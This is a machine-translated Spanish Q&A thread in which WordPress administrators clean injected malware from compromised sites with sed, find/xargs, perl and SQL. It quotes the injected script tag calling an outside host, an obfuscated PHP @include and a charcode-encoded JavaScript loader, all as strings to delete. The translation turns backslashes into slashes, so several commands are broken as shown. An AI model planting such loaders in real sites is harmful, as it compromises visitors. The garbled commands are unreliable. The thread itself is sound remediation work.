bash shell sed grep

bash - Cómo reemplazar una cadena completa usando sed o posiblemente grep



shell (7)

¿Tiene instalado el complemento wp-mail-smtp? Tenemos el mismo malware y hemos tenido algo extraño en wp-content/plugins/wp-mail-smtp/src/Debug.php .

Además, el enlace de JavaScript está en cada campo wp_posts en wp_posts en la base de datos de WordPress.

Entonces, todo mi servidor fue pirateado o tuvo el problema del malware. mi sitio está basado en WordPress y la mayoría de los sitios alojados en mi servidor está basado en WordPress. El hacker agregó esta línea de código a cada archivo y en la base de datos

<script type=''text/javascript'' src=''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547''></script>

Lo busqué a través de grep usando

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Estoy tratando de reemplazarlo en toda la estructura del archivo con sed y he escrito el siguiente comando.

sed -i ''s//<script type=/'text//javascript/' src=/'https:////scripts.trasnaltemyrecords.com//talk.js?track=r&subid=547/'/>/<//script/>//g'' index.php

Estoy tratando de reemplazar la cadena en un solo archivo index.php primero, así que sé que funciona.

y sé que mi código está mal Por favor, ayúdame con esto.

Editar: intenté con el código de @ Eran y eliminó toda la línea, lo cual es bueno y como se esperaba. Sin embargo, la jerga total es esta

/*ee8fa*/ @include "/057va/162/w/167w//167eb/144ev/145lo/160er/141si/141/w/160-i/156cl/165de/163/j/163/c/157de/155ir/162or/057.9/06770/06637/070.i/143o"; /*ee8fa*/

Y aunque deseo eliminar todo el contenido, deseo mantener la etiqueta de apertura php <?php .

Aunque la solución de @ slybloty es fácil y funcionó.

para eliminar completamente el código de todos los archivos afectados. Estoy ejecutando los siguientes 3 comandos, gracias a todos por esto.

  1. find . -type f -name ''*.php'' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type=''text//javascript'' src=''https:////scripts.trasnaltemyrecords.com//talk.js?track=r&subid=547''><//script>//g" find . -type f -name ''*.php'' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type=''text//javascript'' src=''https:////scripts.trasnaltemyrecords.com//talk.js?track=r&subid=547''><//script>//g" - Para eliminar la línea del script
  2. find . -type f -name ''*.php'' -print0 | xargs -0 -t -P7 -n1 sed -i ''/057va/d'' find . -type f -name ''*.php'' -print0 | xargs -0 -t -P7 -n1 sed -i ''/057va/d'' - Para eliminar la línea @include
  3. find . -type f -name ''*.php'' -print0 | xargs -0 -t -P7 -n1 sed -i ''/ee8fa/d'' find . -type f -name ''*.php'' -print0 | xargs -0 -t -P7 -n1 sed -i ''/ee8fa/d'' - Para eliminar la línea de comentario

Además, ejecuté los 3 comandos nuevamente para ''*.html'' , porque el script del hacker creó index.html no deseado en todos los directorios. No estaba seguro si eliminar estos index.html en masa es el enfoque correcto.

ahora, todavía necesito averiguar los archivos basura y las huellas de los mismos.

EDITAR 2:

La secuencia de comandos hacker también agregó el código JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl; if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript); } else { d.getElementsByTagName(''head'')[0].appendChild(s); }

Tratando de ver si también puedo hacerlo.


Cualquiera sea el método que decida usar con sed, puede ejecutar múltiples procesos simultáneamente en múltiples archivos con opciones de filtrado perfectas con find y xargs . Por ejemplo:

find . -type f -name ''*.php'' -print0 | xargs -0 -P7 -n1 sed -i ''...''

Va a:

  • find - encontrar
  • -type f : solo archivos
  • -name ''*.txt'' - que termina con php
  • -print0 - pritnlos separados por cero bytes
  • | xargs -0 | xargs -0 - para cada archivo separado por cero byte
  • -P7 - ejecuta 7 procesos de forma concisa
  • -n1 : para cada archivo
  • sed : para cada archivo ejecute sed
  • -i : edita el archivo en su lugar
  • ''...'' : el script sed que desea ejecutar desde otras respuestas.

Es posible que desee agregar la opción -t a xargs para ver el progreso. Ver man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).


Hoy recibí lo mismo, todas las publicaciones de la página agregaron este desagradable script de virus

<script src=''https://scripts.trasnaltemyrecords.com/pixel.js'' type=''text/javascript''></script>

Lo deshabilité de la base de datos por

UPDATE wp_posts SET post_content = REPLACE(post_content, "src=''https://scripts.trasnaltemyrecords.com", "data-src=''https://scripts.trasnaltemyrecords.com")

No tengo archivos infectados al menos

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

no encontré nada, pero no tengo idea de cómo llegó esto a la base de datos de la que no estoy nada tranquilo.

Esta infección causó redireccionamientos en las páginas, Chrome principalmente detecta y bloquea esto. No noté nada extraño en - /wp-mail-smtp/src/Debug.php


Hoy tengo lo mismo, todas las publicaciones de la página tienen el script agregado. Me las he arreglado con éxito usando https://en.wordpress.org/plugins/search-and-replace/ plugin.

Además, también he encontrado un registro en la tabla wp_posts columna post_content siguiente cadena:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

y lo eliminé manualmente.


Para mí funcionó esto:

find ./ -type f -name ''*.js'' | xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d/.createElement/(''script''/); s/.type=''text//javascript''; s/.async=true;/nvar pl = String/.fromCharCode/(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48/); s/.src=pl; /nif /(document/.currentScript/) { /ndocument/.currentScript/.parentNode/.insertBefore/(s, document/.currentScript/);/n} else {/nd/.getElementsByTagName/(''head''/)/[0/]/.appendChild/(s/);/n}//"

Tienes que buscar: * .js, * .json, * .map


Use comillas dobles ( " ) para la cadena y no escape las comillas simples ( '' ) ni las etiquetas ( <> ). Solo escape las barras ( / ).

sed -i "s/<script type=''text//javascript'' src=''https:////scripts.trasnaltemyrecords.com//talk.js?track=r&subid=547''><//script>//g" index.php


las comillas simples se toman literalmente. No hay personajes de escape allí. Entonces, cuando haces var=''hello/''' , tienes una cita no cerrada. Use comillas dobles para rodear el comando sed o debe terminar la cadena entre comillas simple y agregar /' y volver a abrir la cadena de comillas ... pero eso se vuelve confuso. Además, sed puede usar cualquier delimitador para separar comandos. Como en realidad tienes barras en los comandos, sería más fácil usar comas o algo así. Entonces puedes hacer esto:

sed -i "s,//<script type=''text/javascript'' src=''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547''//>//</script//>,,g" index.php

O el segundo método que sugerí es un poco más confuso:

sed -i ''s,/<script type=''/'''text/javascript''/''' src=''/'''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547''/'''/>/</script/>,,g'' index.php

Este ejemplo es más educativo que práctico. Así es como funciona ''/''' :

Primero '' : finaliza la cadena literal citada actual

/' : Ingrese comillas simples como caracteres literales

Segundo '' : vuelva a ingresar la cadena literal citada

Mientras no haya espacios allí, continuará con su comando sed . Esta idea es algo que siento que es muy exclusivo de bash .

Dejo el escape < y > allí porque no estoy completamente seguro de para qué lo estás usando. sed usa /< y /> para referirse a la coincidencia de palabras. No estoy seguro de si eso es intencional o no ...

Si esto no coincide con nada, entonces probablemente desee evitar escapar de < y > .

Editar: Consulte la solución de @ EranBen-Natan en los comentarios para obtener una solución más práctica al problema real. Mi respuesta es más un recurso en cuanto a por qué OP se le solicitó más información con su comando original.

Solución para editar 2

Para que esto funcione, supongo que su sed tiene la opción no estándar -z . La versión GNU de sed debería tener esto. También estoy asumiendo que este código siempre aparece en el formato de 6 líneas de largo

while read -r filename; do # .bak optional here if you want to back any files that are edited sed -zi.bak ''s/var pl = String/.fromCharCode(104,116,116,112,115[^/n]*/n[^/n]*/n[^/n]*/n[^/n]*/n[^/n]*/n[^/n]*/n//g'' done <<< "$(grep -lr ''var pl = String/.fromCharCode(104,116,116,112,115'' .)"

Cómo funciona: estamos utilizando el comienzo de la línea fromCharCode para que coincida con todo. -z divide el archivo en nulos en lugar de nuevas líneas. Esto nos permite buscar saltos de línea directamente.

[^/n]*/n - Solo significa hacer coincidir todo hasta un avance de línea, luego hacer coincidir el avance de línea. La idea aquí es evitar la codiciosa coincidencia de expresiones regulares. Debido a que no estamos dividiendo los avances de línea ( -z ), la expresión regular var pl = String/.fromCharCode(104,116,116,112,115'' .).*/n}/n coincidiría con la mayor coincidencia posible. Por ejemplo, si /n}/n apareciera en algún lugar más abajo en el archivo, eliminaría todo el código entre allí y el código malicioso. Entonces, repetir esta secuencia 6 veces nos hace coincidir con el final de la primera línea y con las siguientes 5 líneas.

grep -lr : solo un grep recursivo donde solo enumeramos los archivos que tienen el patrón correspondiente. De esta manera, sed no está editando todos los archivos. Sin esto, -i.bak (no simple -i ) haría un verdadero desastre.